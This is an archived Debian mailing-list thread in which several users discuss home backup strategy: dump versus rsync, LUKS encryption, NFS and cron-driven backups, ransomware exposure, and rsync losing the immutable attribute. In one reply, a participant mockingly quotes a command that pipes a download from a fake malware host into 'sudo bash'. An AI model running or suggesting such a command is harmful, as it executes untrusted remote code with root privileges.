Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]

Groups > linux.debian.user > #202411 > unrolled thread

Re: how to backup to an encrypted usb drive?

Back to article view | Back to linux.debian.user

This discussion starts older than the indexed window; earlier articles aren't shown. The article labeled Started by below is the oldest one visible, not the original post.

Contents

  Re: how to backup to an encrypted usb drive? Reco <recoverym4n@enotuniq.net> - 2018-11-14 16:10 +0100
    Re: how to backup to an encrypted usb drive? Lee <ler762@gmail.com> - 2018-11-14 17:00 +0100
      Re: how to backup to an encrypted usb drive? Reco <recoverym4n@enotuniq.net> - 2018-11-14 17:40 +0100
        Re: how to backup to an encrypted usb drive? Lee <ler762@gmail.com> - 2018-11-14 19:00 +0100
          Re: how to backup to an encrypted usb drive? Reco <recoverym4n@enotuniq.net> - 2018-11-14 19:30 +0100
            Re: how to backup to an encrypted usb drive? Lee <ler762@gmail.com> - 2018-11-14 23:10 +0100
              Re: how to backup to an encrypted usb drive? Reco <recoverym4n@enotuniq.net> - 2018-11-15 06:10 +0100
                Re: how to backup to an encrypted usb drive? Lee <ler762@gmail.com> - 2018-11-15 16:50 +0100
                  Re: how to backup to an encrypted usb drive? Reco <recoverym4n@enotuniq.net> - 2018-11-15 18:20 +0100
                    Re: how to backup to an encrypted usb drive? Lee <ler762@gmail.com> - 2018-11-15 20:10 +0100
                      Re: how to backup to an encrypted usb drive? Reco <recoverym4n@enotuniq.net> - 2018-11-15 20:30 +0100
                        Re: how to backup to an encrypted usb drive? Lee <ler762@gmail.com> - 2018-11-15 21:20 +0100
                Re: how to backup to an encrypted usb drive? Celejar <celejar@gmail.com> - 2018-11-15 18:50 +0100
            Re: how to backup to an encrypted usb drive? Richard Hector <richard@walnut.gen.nz> - 2018-11-15 01:20 +0100
              Re: how to backup to an encrypted usb drive? Reco <recoverym4n@enotuniq.net> - 2018-11-15 06:20 +0100
                Re: how to backup to an encrypted usb drive? Richard Hector <richard@walnut.gen.nz> - 2018-11-15 09:30 +0100
            Re: how to backup to an encrypted usb drive? [OT: rsync metadata] Rick Thomas <rbthomas@pobox.com> - 2018-11-18 21:00 +0100
              Re: how to backup to an encrypted usb drive? [OT: rsync metadata] Reco <recoverym4n@enotuniq.net> - 2018-11-19 04:40 +0100
                Re: how to backup to an encrypted usb drive? [OT: rsync metadata] Rick Thomas <rbthomas@pobox.com> - 2018-11-19 19:00 +0100
                  Re: how to backup to an encrypted usb drive? [OT: rsync metadata] Reco <recoverym4n@enotuniq.net> - 2018-11-19 20:00 +0100

#202411 — Re: how to backup to an encrypted usb drive?

	Hi.

On Wed, Nov 14, 2018 at 10:01:38AM -0500, Lee wrote:
> What are you using to backup your files to an encrypted usb drive?

For the backup itself - dump(8) or xfsdump(8) (filesystem dependent).
For the encryption of this hypothetical drive (I don't use USB drives
for these purposes) - luks only.

Reco

[toc] | [next] | [standalone]

#202417

On 11/14/18, Reco <recoverym4n@enotuniq.net> wrote:
> 	Hi.
>
> On Wed, Nov 14, 2018 at 10:01:38AM -0500, Lee wrote:
>> What are you using to backup your files to an encrypted usb drive?
>
> For the backup itself - dump(8) or xfsdump(8) (filesystem dependent).

Which seems to require restore or xfsrestore?

https://linux.die.net/man/8/xfsdump
  The media format used by xfsdump can only be understood by xfsrestore.
I can't tell from a quick look at dump/restore if I can look at files
on the backup media or not

> For the encryption of this hypothetical drive (I don't use USB drives
> for these purposes) - luks only.

Why don't you like USB drives for these purposes?
In other words, what am I missing?

Thanks,
Lee

[toc] | [prev] | [next] | [standalone]

#202420

On Wed, Nov 14, 2018 at 10:50:44AM -0500, Lee wrote:
> On 11/14/18, Reco <recoverym4n@enotuniq.net> wrote:
> > 	Hi.
> >
> > On Wed, Nov 14, 2018 at 10:01:38AM -0500, Lee wrote:
> >> What are you using to backup your files to an encrypted usb drive?
> >
> > For the backup itself - dump(8) or xfsdump(8) (filesystem dependent).
> 
> Which seems to require restore or xfsrestore?

Precisely.


> https://linux.die.net/man/8/xfsdump
>   The media format used by xfsdump can only be understood by xfsrestore.
> I can't tell from a quick look at dump/restore if I can look at files
> on the backup media or not

No, you do not. You'll need restore/xfsrestore first.
The whole purpose of a good filesystem backup is to capture all
file/directory attributes (which include, but aren't limited to POSIX
permissions, POSIX ACLs, SELinux labels, capability labels, extended
attributes to name a few). That's where dump/xfsdump guarantee you to
capture anything that a filesystem supports.

If you're content with losing all this metadata in your backup - there
are rsync, cpio or tar. Or all those 'backup solutions' based on those.


> > For the encryption of this hypothetical drive (I don't use USB drives
> > for these purposes) - luks only.
> 
> Why don't you like USB drives for these purposes?

Because backing up something to NFS share is easier.
And, I'm strong believer of 'machine works, human thinks' principle.
Automating backups to NFS (and replicating them from there) is simple.
Automating backup to USB drive - that's something that cannot be done
without human intervention.

> In other words, what am I missing?

Encrypted backups have their purpose, of course. For storing backups
offsite (whenever it's physical or cloud) encryption is invaluable.

But, the encryption is only as secure as the management of the
encryption key, and the only relatively secure example of that I can
come up with is gpg. And utilizing gpg for unattended backups is painful
to say the least.

Reco

[toc] | [prev] | [next] | [standalone]

#202425

On 11/14/18, Reco <recoverym4n@enotuniq.net> wrote:
> On Wed, Nov 14, 2018 at 10:50:44AM -0500, Lee wrote:
>> On 11/14/18, Reco <recoverym4n@enotuniq.net> wrote:
>> > 	Hi.
>> >
>> > On Wed, Nov 14, 2018 at 10:01:38AM -0500, Lee wrote:
>> >> What are you using to backup your files to an encrypted usb drive?
>> >
>> > For the backup itself - dump(8) or xfsdump(8) (filesystem dependent).
>>
>> Which seems to require restore or xfsrestore?
>
> Precisely.
>
>
>> https://linux.die.net/man/8/xfsdump
>>   The media format used by xfsdump can only be understood by xfsrestore.
>> I can't tell from a quick look at dump/restore if I can look at files
>> on the backup media or not
>
> No, you do not. You'll need restore/xfsrestore first.
> The whole purpose of a good filesystem backup is to capture all
> file/directory attributes (which include, but aren't limited to POSIX
> permissions, POSIX ACLs, SELinux labels, capability labels, extended
> attributes to name a few). That's where dump/xfsdump guarantee you to
> capture anything that a filesystem supports.
>
> If you're content with losing all this metadata in your backup - there
> are rsync, cpio or tar. Or all those 'backup solutions' based on those.

Do I need all that metadata?  This is for me at home so it's pretty
much a single user machine.

>> > For the encryption of this hypothetical drive (I don't use USB drives
>> > for these purposes) - luks only.
>>
>> Why don't you like USB drives for these purposes?
>
> Because backing up something to NFS share is easier.

but leaves you open to cryptolocker ransomware & various 'oh shit!'
moments when I do something stupid.  Offline & offsite is worth a
certain amount of inconvenience to me.

> And, I'm strong believer of 'machine works, human thinks' principle.
> Automating backups to NFS (and replicating them from there) is simple.
> Automating backup to USB drive - that's something that cannot be done
> without human intervention.
>
>> In other words, what am I missing?
>
> Encrypted backups have their purpose, of course. For storing backups
> offsite (whenever it's physical or cloud) encryption is invaluable.
>
> But, the encryption is only as secure as the management of the
> encryption key, and the only relatively secure example of that I can
> come up with is gpg. And utilizing gpg for unattended backups is painful
> to say the least.

Which is why I liked truecrypt.  Is luks roughly equivalent for
encrypting the whole drive?

Thanks
Lee

[toc] | [prev] | [next] | [standalone]

#202427

	Hi.

On Wed, Nov 14, 2018 at 12:52:57PM -0500, Lee wrote:
> On 11/14/18, Reco <recoverym4n@enotuniq.net> wrote:
> > On Wed, Nov 14, 2018 at 10:50:44AM -0500, Lee wrote:
> >> On 11/14/18, Reco <recoverym4n@enotuniq.net> wrote:
> >> > 	Hi.
> >> >
> >> > On Wed, Nov 14, 2018 at 10:01:38AM -0500, Lee wrote:
> >> >> What are you using to backup your files to an encrypted usb drive?
> >> >
> >> > For the backup itself - dump(8) or xfsdump(8) (filesystem dependent).
> >>
> >> Which seems to require restore or xfsrestore?
> >
> > Precisely.
> >
> >
> >> https://linux.die.net/man/8/xfsdump
> >>   The media format used by xfsdump can only be understood by xfsrestore.
> >> I can't tell from a quick look at dump/restore if I can look at files
> >> on the backup media or not
> >
> > No, you do not. You'll need restore/xfsrestore first.
> > The whole purpose of a good filesystem backup is to capture all
> > file/directory attributes (which include, but aren't limited to POSIX
> > permissions, POSIX ACLs, SELinux labels, capability labels, extended
> > attributes to name a few). That's where dump/xfsdump guarantee you to
> > capture anything that a filesystem supports.
> >
> > If you're content with losing all this metadata in your backup - there
> > are rsync, cpio or tar. Or all those 'backup solutions' based on those.
> 
> Do I need all that metadata?  This is for me at home so it's pretty
> much a single user machine.

That's for you to decide. I'd say you definitely need it for the backups
of / and /var and can *probably* skip it for /home, but YMMV.


> >> > For the encryption of this hypothetical drive (I don't use USB drives
> >> > for these purposes) - luks only.
> >>
> >> Why don't you like USB drives for these purposes?
> >
> > Because backing up something to NFS share is easier.
> 
> but leaves you open to cryptolocker ransomware & various 'oh shit!'
> moments when I do something stupid.  Offline & offsite is worth a
> certain amount of inconvenience to me.

Nope. Because:

a) You do not do backups as a regular user.
b) You do not keep a single backup.

Besides, avoiding all those cryptolockers is easy. You just need to
learn to distinguish a trusted software from the untrusted. A trusted
software comes to you with your OS (in this case - Debian main archive).
An untrusted software comes from elsewhere. Keep to a trusted software
and you'll be fine.

Avoiding human mistakes is impossible indeed, hence the backups. And
filesystem snapshots, but that's a different matter.


> > And, I'm strong believer of 'machine works, human thinks' principle.
> > Automating backups to NFS (and replicating them from there) is simple.
> > Automating backup to USB drive - that's something that cannot be done
> > without human intervention.
> >
> >> In other words, what am I missing?

A good backup is run by cron. A bad backup is run manually.
Simple as that.


> > Encrypted backups have their purpose, of course. For storing backups
> > offsite (whenever it's physical or cloud) encryption is invaluable.
> >
> > But, the encryption is only as secure as the management of the
> > encryption key, and the only relatively secure example of that I can
> > come up with is gpg. And utilizing gpg for unattended backups is painful
> > to say the least.
> 
> Which is why I liked truecrypt.  Is luks roughly equivalent for
> encrypting the whole drive?

No, it's better. More encryption algorithms, definitely more code audit
*and* virtually zero 'became superuser' vulnerabilities.

Reco

[toc] | [prev] | [next] | [standalone]

#202436

> On Wed, Nov 14, 2018 at 12:52:57PM -0500, Lee wrote:
>> On 11/14/18, Reco <recoverym4n@enotuniq.net> wrote:
  <.. snip ..>
>> > If you're content with losing all this metadata in your backup - there
>> > are rsync, cpio or tar. Or all those 'backup solutions' based on those.
>>
>> Do I need all that metadata?  This is for me at home so it's pretty
>> much a single user machine.
>
> That's for you to decide. I'd say you definitely need it for the backups
> of / and /var and can *probably* skip it for /home, but YMMV.
>
>
>> >> > For the encryption of this hypothetical drive (I don't use USB
>> >> > drives
>> >> > for these purposes) - luks only.
>> >>
>> >> Why don't you like USB drives for these purposes?
>> >
>> > Because backing up something to NFS share is easier.
>>
>> but leaves you open to cryptolocker ransomware & various 'oh shit!'
>> moments when I do something stupid.  Offline & offsite is worth a
>> certain amount of inconvenience to me.
>
> Nope. Because:
>
> a) You do not do backups as a regular user.

On windows I certainly do.  But if I need all the file metadata as
well as the files.. yeah, probably not & I'm going to have to rethink
my whole backup process.

> b) You do not keep a single backup.
>
> Besides, avoiding all those cryptolockers is easy. You just need to
> learn to distinguish a trusted software from the untrusted. A trusted
> software comes to you with your OS (in this case - Debian main archive).
> An untrusted software comes from elsewhere. Keep to a trusted software
> and you'll be fine.

Most probably.  But I think using Firefox comes with a certain amount
of risk - probably not all that much on debian but still a risk; as
does having an all-the-time online backup.

> Avoiding human mistakes is impossible indeed, hence the backups. And
> filesystem snapshots, but that's a different matter.
>
>
>> > And, I'm strong believer of 'machine works, human thinks' principle.
>> > Automating backups to NFS (and replicating them from there) is simple.
>> > Automating backup to USB drive - that's something that cannot be done
>> > without human intervention.
>> >
>> >> In other words, what am I missing?
>
> A good backup is run by cron. A bad backup is run manually.
> Simple as that.

How do you check that your cron backups worked?  Which is assuming you
do check :)
The manual backups I do are fast enough that I can watch and see that
nothing went wrong.

>> > Encrypted backups have their purpose, of course. For storing backups
>> > offsite (whenever it's physical or cloud) encryption is invaluable.
>> >
>> > But, the encryption is only as secure as the management of the
>> > encryption key, and the only relatively secure example of that I can
>> > come up with is gpg. And utilizing gpg for unattended backups is
>> > painful
>> > to say the least.
>>
>> Which is why I liked truecrypt.  Is luks roughly equivalent for
>> encrypting the whole drive?
>
> No, it's better. More encryption algorithms, definitely more code audit
> *and* virtually zero 'became superuser' vulnerabilities.

OK - good to know!

Thanks,
Lee

[toc] | [prev] | [next] | [standalone]

#202445

	Hi.

On Wed, Nov 14, 2018 at 05:03:53PM -0500, Lee wrote:
> > b) You do not keep a single backup.
> >
> > Besides, avoiding all those cryptolockers is easy. You just need to
> > learn to distinguish a trusted software from the untrusted. A trusted
> > software comes to you with your OS (in this case - Debian main archive).
> > An untrusted software comes from elsewhere. Keep to a trusted software
> > and you'll be fine.
> 
> Most probably.  But I think using Firefox comes with a certain amount
> of risk - probably not all that much on debian but still a risk; as
> does having an all-the-time online backup.

Using any browser comes with the same amount of risk, in fact.
But if the regular user cannot overwrite the backups - there's little
harm in that.


> > Avoiding human mistakes is impossible indeed, hence the backups. And
> > filesystem snapshots, but that's a different matter.
> >
> >
> >> > And, I'm strong believer of 'machine works, human thinks' principle.
> >> > Automating backups to NFS (and replicating them from there) is simple.
> >> > Automating backup to USB drive - that's something that cannot be done
> >> > without human intervention.
> >> >
> >> >> In other words, what am I missing?
> >
> > A good backup is run by cron. A bad backup is run manually.
> > Simple as that.
> 
> How do you check that your cron backups worked?  Which is assuming you
> do check :)
> The manual backups I do are fast enough that I can watch and see that
> nothing went wrong.

Cron can and will send a e-mail to a pre-determined address, if a batch
job writes something to stdout/stderr.
So then you do a backup, you have two choices:

a) Log all and everything, and get your e-mail every day.
b) Log errors only and get your e-mail only if something goes wrong.

I prefer the latter, but YMMV.

Reco

[toc] | [prev] | [next] | [standalone]

#202475

On 11/15/18, Reco <recoverym4n@enotuniq.net> wrote:
> 	Hi.

Hi.

> On Wed, Nov 14, 2018 at 05:03:53PM -0500, Lee wrote:
>> > b) You do not keep a single backup.
>> >
>> > Besides, avoiding all those cryptolockers is easy. You just need to
>> > learn to distinguish a trusted software from the untrusted. A trusted
>> > software comes to you with your OS (in this case - Debian main
>> > archive).
>> > An untrusted software comes from elsewhere. Keep to a trusted software
>> > and you'll be fine.
>>
>> Most probably.  But I think using Firefox comes with a certain amount
>> of risk - probably not all that much on debian but still a risk; as
>> does having an all-the-time online backup.
>
> Using any browser comes with the same amount of risk, in fact.
> But if the regular user cannot overwrite the backups - there's little
> harm in that.

But malware can overwrite users files which then get backed up..
implying you keep lots of backups.  For how long?

>> > Avoiding human mistakes is impossible indeed, hence the backups. And
>> > filesystem snapshots, but that's a different matter.
>> >
>> >
>> >> > And, I'm strong believer of 'machine works, human thinks' principle.
>> >> > Automating backups to NFS (and replicating them from there) is
>> >> > simple.
>> >> > Automating backup to USB drive - that's something that cannot be
>> >> > done
>> >> > without human intervention.
>> >> >
>> >> >> In other words, what am I missing?
>> >
>> > A good backup is run by cron. A bad backup is run manually.
>> > Simple as that.

If I ever put debian on something I don't turn off then cron is an
option.  But right now I've got debian on a laptop that I don't leave
running 24x7

>> How do you check that your cron backups worked?  Which is assuming you
>> do check :)
>> The manual backups I do are fast enough that I can watch and see that
>> nothing went wrong.
>
> Cron can and will send a e-mail to a pre-determined address, if a batch
> job writes something to stdout/stderr.
> So then you do a backup, you have two choices:
>
> a) Log all and everything, and get your e-mail every day.
> b) Log errors only and get your e-mail only if something goes wrong.
>
> I prefer the latter, but YMMV.

I prefer getting email every day - with a "no problems" subject line
if all goes right.  There's been times at work when something goes
wrong & part of the something was mail on the cron server.

I just tried running a cron job that fails (didn't chmod +x thescript).  No mail

Yeah.. I know.  Someday.  But setting up mail is way down on my
priority list somewhere after "install debian on a machine I'll leave
running 24x7" and I'm still working on "figure out how to dump
windows."

Thanks,
Lee

[toc] | [prev] | [next] | [standalone]

#202482

	Hi.

On Thu, Nov 15, 2018 at 10:43:30AM -0500, Lee wrote:
> On 11/15/18, Reco <recoverym4n@enotuniq.net> wrote:
> > 	Hi.
> 
> Hi.
> 
> > On Wed, Nov 14, 2018 at 05:03:53PM -0500, Lee wrote:
> >> > b) You do not keep a single backup.
> >> >
> >> > Besides, avoiding all those cryptolockers is easy. You just need to
> >> > learn to distinguish a trusted software from the untrusted. A trusted
> >> > software comes to you with your OS (in this case - Debian main
> >> > archive).
> >> > An untrusted software comes from elsewhere. Keep to a trusted software
> >> > and you'll be fine.
> >>
> >> Most probably.  But I think using Firefox comes with a certain amount
> >> of risk - probably not all that much on debian but still a risk; as
> >> does having an all-the-time online backup.
> >
> > Using any browser comes with the same amount of risk, in fact.
> > But if the regular user cannot overwrite the backups - there's little
> > harm in that.
> 
> But malware can overwrite users files which then get backed up..

Assuming you obtained a working sample of said malware and they
convinced you to run it - it's true.

But then again, there's people who apparently lose sleep and appetite if
they don't run that random binary obtained from the nearest warez dump
at least one per day ;)
Or, considering themselves Modern™, do something really dumb like:
curl 1337.haxor.siet/malware.here | sudo bash

I know one sure way to beat the user who's determined to inflict
themselves the harm, and that's called 'hourly filesystem snaphosts'.
Sadly it requires using certain controversial filesystems and does not
fits with everyone's definition of performance.


> implying you keep lots of backups.  For how long?

Depends. Backups of your 1-2 GB of root/var can be kept for a year,
given weekly backups and a typical multi TB NAS.
Private user's data can be measured in terabytes, so keeping more than a
couple of backups is problematic.


> >> > Avoiding human mistakes is impossible indeed, hence the backups. And
> >> > filesystem snapshots, but that's a different matter.
> >> >
> >> >
> >> >> > And, I'm strong believer of 'machine works, human thinks' principle.
> >> >> > Automating backups to NFS (and replicating them from there) is
> >> >> > simple.
> >> >> > Automating backup to USB drive - that's something that cannot be
> >> >> > done
> >> >> > without human intervention.
> >> >> >
> >> >> >> In other words, what am I missing?
> >> >
> >> > A good backup is run by cron. A bad backup is run manually.
> >> > Simple as that.
> 
> If I ever put debian on something I don't turn off then cron is an
> option.  But right now I've got debian on a laptop that I don't leave
> running 24x7

anacron is the answer for that. It even takes into the account whenever
the laptop is on battery or on AC.


> >> How do you check that your cron backups worked?  Which is assuming you
> >> do check :)
> >> The manual backups I do are fast enough that I can watch and see that
> >> nothing went wrong.
> >
> > Cron can and will send a e-mail to a pre-determined address, if a batch
> > job writes something to stdout/stderr.
> > So then you do a backup, you have two choices:
> >
> > a) Log all and everything, and get your e-mail every day.
> > b) Log errors only and get your e-mail only if something goes wrong.
> >
> > I prefer the latter, but YMMV.
> 
> I prefer getting email every day - with a "no problems" subject line
> if all goes right.  There's been times at work when something goes
> wrong & part of the something was mail on the cron server.
> 
> I just tried running a cron job that fails (didn't chmod +x thescript).  No mail

That's a customary way to disable a cronjob so no surprises here.
Try running something with runtime output, such as:

#!/bin/sh
echo Hello cron world
exit 1


> Yeah.. I know.  Someday.  But setting up mail is way down on my
> priority list somewhere after "install debian on a machine I'll leave
> running 24x7" and I'm still working on "figure out how to dump
> windows."

Stock exim4 is more than enough for the typical 'local delivery'
scenario. They even provide a nice debconf frontend to a package.

Reco

[toc] | [prev] | [next] | [standalone]

#202497

On 11/15/18, Reco <recoverym4n@enotuniq.net> wrote:
> On Thu, Nov 15, 2018 at 10:43:30AM -0500, Lee wrote:
>> implying you keep lots of backups.  For how long?
>
> Depends. Backups of your 1-2 GB of root/var can be kept for a year,
> given weekly backups and a typical multi TB NAS.
> Private user's data can be measured in terabytes, so keeping more than a
> couple of backups is problematic.

There we go :)   You've been talking enterprise grade backup standards - right?

Which is fine & maybe someday I'll get there.  But right now simple,
easy & blatantly obvious something worked or no is more important to
me.

>> If I ever put debian on something I don't turn off then cron is an
>> option.  But right now I've got debian on a laptop that I don't leave
>> running 24x7
>
> anacron is the answer for that. It even takes into the account whenever
> the laptop is on battery or on AC.

another good reference.

Thanks for all your help!
Lee

[toc] | [prev] | [next] | [standalone]

#202502

On Thu, Nov 15, 2018 at 02:00:47PM -0500, Lee wrote:
> On 11/15/18, Reco <recoverym4n@enotuniq.net> wrote:
> > On Thu, Nov 15, 2018 at 10:43:30AM -0500, Lee wrote:
> >> implying you keep lots of backups.  For how long?
> >
> > Depends. Backups of your 1-2 GB of root/var can be kept for a year,
> > given weekly backups and a typical multi TB NAS.
> > Private user's data can be measured in terabytes, so keeping more than a
> > couple of backups is problematic.
> 
> There we go :)   You've been talking enterprise grade backup standards - right?

Nope. That's my home setup.
Assorted collection of my private files is worth 2.4Tb, and that's excluding
wife's and kids'.
All stuff is triple-mirrored (as in - three different devices), total
hardware cost is less than $500 disks excluded.

I don't speak of enterprisey things on this list. But I admit that
certain habits crept from office to the home ;)


> Which is fine & maybe someday I'll get there.  But right now simple,
> easy & blatantly obvious something worked or no is more important to
> me.

A single consumer-grade NAS with a lowly RAID1 is simple to me.


Reco

[toc] | [prev] | [next] | [standalone]

#202508

On 11/15/18, Reco <recoverym4n@enotuniq.net> wrote:
> On Thu, Nov 15, 2018 at 02:00:47PM -0500, Lee wrote:
>> On 11/15/18, Reco <recoverym4n@enotuniq.net> wrote:
>> > On Thu, Nov 15, 2018 at 10:43:30AM -0500, Lee wrote:
>> >> implying you keep lots of backups.  For how long?
>> >
>> > Depends. Backups of your 1-2 GB of root/var can be kept for a year,
>> > given weekly backups and a typical multi TB NAS.
>> > Private user's data can be measured in terabytes, so keeping more than
>> > a
>> > couple of backups is problematic.
>>
>> There we go :)   You've been talking enterprise grade backup standards -
>> right?
>
> Nope. That's my home setup.
> Assorted collection of my private files is worth 2.4Tb, and that's
> excluding
> wife's and kids'.
> All stuff is triple-mirrored (as in - three different devices), total
> hardware cost is less than $500 disks excluded.
>
> I don't speak of enterprisey things on this list. But I admit that
> certain habits crept from office to the home ;)

OK.. I am suitably impressed :)

>> Which is fine & maybe someday I'll get there.  But right now simple,
>> easy & blatantly obvious something worked or no is more important to
>> me.
>
> A single consumer-grade NAS with a lowly RAID1 is simple to me.

Right.  Like I said - maybe someday I'll get there.

Regards,
Lee

[toc] | [prev] | [next] | [standalone]

#202486

On Thu, 15 Nov 2018 08:07:34 +0300
Reco <recoverym4n@enotuniq.net> wrote:

...

> Cron can and will send a e-mail to a pre-determined address, if a batch
> job writes something to stdout/stderr.
> So then you do a backup, you have two choices:
> 
> a) Log all and everything, and get your e-mail every day.
> b) Log errors only and get your e-mail only if something goes wrong.
> 
> I prefer the latter, but YMMV.

My problem with the latter has to do with the case where the backups
are pulled by a server, and that server loses connectivity or
crashes ...

Of course, this can be solved with some sort of monitoring solution,
but I do prefer the security of messages informing me that the backups
are executing properly.

Celejar

[toc] | [prev] | [next] | [standalone]

#202441

[Multipart message — attachments visible in raw view] — view raw

On 15/11/18 7:26 AM, Reco wrote:
>> but leaves you open to cryptolocker ransomware & various 'oh shit!'
>> moments when I do something stupid.  Offline & offsite is worth a
>> certain amount of inconvenience to me.
> Nope. Because:
> 
> a) You do not do backups as a regular user.
> b) You do not keep a single backup.

How do you prevent access to the older backups? A cron job updating
/etc/exports on the server?

Richard

[toc] | [prev] | [next] | [standalone]

#202446

	Hi.

On Thu, Nov 15, 2018 at 01:12:35PM +1300, Richard Hector wrote:
> On 15/11/18 7:26 AM, Reco wrote:
> >> but leaves you open to cryptolocker ransomware & various 'oh shit!'
> >> moments when I do something stupid.  Offline & offsite is worth a
> >> certain amount of inconvenience to me.
> > Nope. Because:
> > 
> > a) You do not do backups as a regular user.
> > b) You do not keep a single backup.
> 
> How do you prevent access to the older backups? A cron job updating
> /etc/exports on the server?

You meant "how do I prevent users' access to backups"?
Filesystem permissions on NFS server solve it for me.
Ordinary user has no business both reading or $DEITY forbid, writing to
backups.

Or you meant "how do I prevent a backup user from overwriting old
backups"?
An incron script that moves completed (as in "file closed") backup to a
different directory.

Reco

[toc] | [prev] | [next] | [standalone]

#202452

[Multipart message — attachments visible in raw view] — view raw

On 15/11/18 6:12 PM, Reco wrote:
> 	Hi.
> 
> On Thu, Nov 15, 2018 at 01:12:35PM +1300, Richard Hector wrote:
>> On 15/11/18 7:26 AM, Reco wrote:
>>>> but leaves you open to cryptolocker ransomware & various 'oh shit!'
>>>> moments when I do something stupid.  Offline & offsite is worth a
>>>> certain amount of inconvenience to me.
>>> Nope. Because:
>>>
>>> a) You do not do backups as a regular user.
>>> b) You do not keep a single backup.
>>
>> How do you prevent access to the older backups? A cron job updating
>> /etc/exports on the server?
> 
> You meant "how do I prevent users' access to backups"?
> Filesystem permissions on NFS server solve it for me.
> Ordinary user has no business both reading or $DEITY forbid, writing to
> backups.
> 
> Or you meant "how do I prevent a backup user from overwriting old
> backups"?
> An incron script that moves completed (as in "file closed") backup to a
> different directory.

The latter - thanks.

FWIW, I use dirvish (which uses rsync), which operates in pull mode,
hence the destination is under control of the backup server, not the
machine being backed up. Yes, I'll probably lose some metadata.

Richard

[toc] | [prev] | [next] | [standalone]

#202585 — Re: how to backup to an encrypted usb drive? [OT: rsync metadata]

>> On 11/14/18, Reco <recoverym4n@enotuniq.net> wrote:
>>> If you're content with losing all this metadata in your backup - there
>>> are rsync, cpio or tar. Or all those ‘backup solutions' based on those.

>> On Wed, Nov 14, 2018 at 12:52:57PM -0500, Lee wrote:
>> Do I need all that metadata?  This is for me at home so it's pretty
>> much a single user machine.

> On Nov 14, 2018, at 10:26 AM, Reco <recoverym4n@enotuniq.net> wrote:
> That's for you to decide. I'd say you definitely need it for the backups
> of / and /var and can *probably* skip it for /home, but YMMV.

Don’t the options for rsync -aAHX preserve all the metadata?  Is there something besides

    -a archive mode; equals -rlptgoD (no -H,-A,-X)
    -p preserve permissions
    -g preserve group
    -o preserve owner
    -l copy symlinks as symlinks
    -t preserve modification times
    -A preserve ACLs (implies -p)
    -H preserve hard links
    -X preserve extended attributes


?

[toc] | [prev] | [next] | [standalone]

#202594 — Re: how to backup to an encrypted usb drive? [OT: rsync metadata]

	Hi.

On Sun, Nov 18, 2018 at 11:56:27AM -0800, Rick Thomas wrote:
> 
> >> On 11/14/18, Reco <recoverym4n@enotuniq.net> wrote:
> >>> If you're content with losing all this metadata in your backup - there
> >>> are rsync, cpio or tar. Or all those ‘backup solutions' based on those.
> 
> >> On Wed, Nov 14, 2018 at 12:52:57PM -0500, Lee wrote:
> >> Do I need all that metadata?  This is for me at home so it's pretty
> >> much a single user machine.
> 
> > On Nov 14, 2018, at 10:26 AM, Reco <recoverym4n@enotuniq.net> wrote:
> > That's for you to decide. I'd say you definitely need it for the backups
> > of / and /var and can *probably* skip it for /home, but YMMV.
> 
> Don’t the options for rsync -aAHX preserve all the metadata?  Is there something besides

Yep, there is at least one thing rsync looses along the way:

# chattr +i /bin/ping
# rsync -aHAX /bin/ping /tmp
# lsattr /bin/ping
----i--------e--- /bin/ping
# lsattr /tmp/ping
-------------e--- /tmp/ping

Reco

[toc] | [prev] | [next] | [standalone]

#202619 — Re: how to backup to an encrypted usb drive? [OT: rsync metadata]

> On Nov 18, 2018, at 7:31 PM, Reco <recoverym4n@enotuniq.net> wrote:
> 
> 	Hi.
> 
> On Sun, Nov 18, 2018 at 11:56:27AM -0800, Rick Thomas wrote:
>> 
>>>> On 11/14/18, Reco <recoverym4n@enotuniq.net> wrote:
>>>>> If you're content with losing all this metadata in your backup - there
>>>>> are rsync, cpio or tar. Or all those ‘backup solutions' based on those.
>> 
>>>> On Wed, Nov 14, 2018 at 12:52:57PM -0500, Lee wrote:
>>>> Do I need all that metadata?  This is for me at home so it's pretty
>>>> much a single user machine.
>> 
>>> On Nov 14, 2018, at 10:26 AM, Reco <recoverym4n@enotuniq.net> wrote:
>>> That's for you to decide. I'd say you definitely need it for the backups
>>> of / and /var and can *probably* skip it for /home, but YMMV.
>> 
>> Don’t the options for rsync -aAHX preserve all the metadata?  Is there something besides
> 
> Yep, there is at least one thing rsync looses along the way:
> 
> # chattr +i /bin/ping
> # rsync -aHAX /bin/ping /tmp
> # lsattr /bin/ping
> ----i--------e--- /bin/ping
> # lsattr /tmp/ping
> -------------e--- /tmp/ping
> 
> Reco

Fascinating…
1) Are there any other extended attributes that are not copied by rsync? Or is there something special about “immutable”.
2) Is this a bug or a feature?  Should there be a bg report filed on this phenomenon?  If not, should it be documented in the rsync(1) man page?  Does that need a bug report?

Enjoy!
Rick

[toc] | [prev] | [next] | [standalone]

#202621 — Re: how to backup to an encrypted usb drive? [OT: rsync metadata]

On Mon, Nov 19, 2018 at 09:50:12AM -0800, Rick Thomas wrote:
> 
> 
> > On Nov 18, 2018, at 7:31 PM, Reco <recoverym4n@enotuniq.net> wrote:
> > 
> > On Sun, Nov 18, 2018 at 11:56:27AM -0800, Rick Thomas wrote:
> >> 
> >>>> On 11/14/18, Reco <recoverym4n@enotuniq.net> wrote:
> >>>>> If you're content with losing all this metadata in your backup - there
> >>>>> are rsync, cpio or tar. Or all those ‘backup solutions' based on those.
> >> 
> >>>> On Wed, Nov 14, 2018 at 12:52:57PM -0500, Lee wrote:
> >>>> Do I need all that metadata?  This is for me at home so it's pretty
> >>>> much a single user machine.
> >> 
> >>> On Nov 14, 2018, at 10:26 AM, Reco <recoverym4n@enotuniq.net> wrote:
> >>> That's for you to decide. I'd say you definitely need it for the backups
> >>> of / and /var and can *probably* skip it for /home, but YMMV.
> >> 
> >> Don’t the options for rsync -aAHX preserve all the metadata?  Is there something besides
> > 
> > Yep, there is at least one thing rsync looses along the way:
> > 
> > # chattr +i /bin/ping
> > # rsync -aHAX /bin/ping /tmp
> > # lsattr /bin/ping
> > ----i--------e--- /bin/ping
> > # lsattr /tmp/ping
> > -------------e--- /tmp/ping
> 
> Fascinating…
> 1) Are there any other extended attributes that are not copied by
> rsync? Or is there something special about “immutable”.

Rsync should ignore any extended attribute listed at chattr(1) save for
'e'.


> 2) Is this a bug or a feature?

Rather a lack of implementation. Some may consider it a bug, but rsync
behaved like this for may years - see [1], for example.


> Should there be a bg report filed on this phenomenon?

Probably. The question is - who's going to write a patch that implements
such feature?


> If not, should it be documented in the rsync(1) man page?  Does that need a bug report?

Yes, definitely. But then again, chattr(1) is it's filesystem-specific.
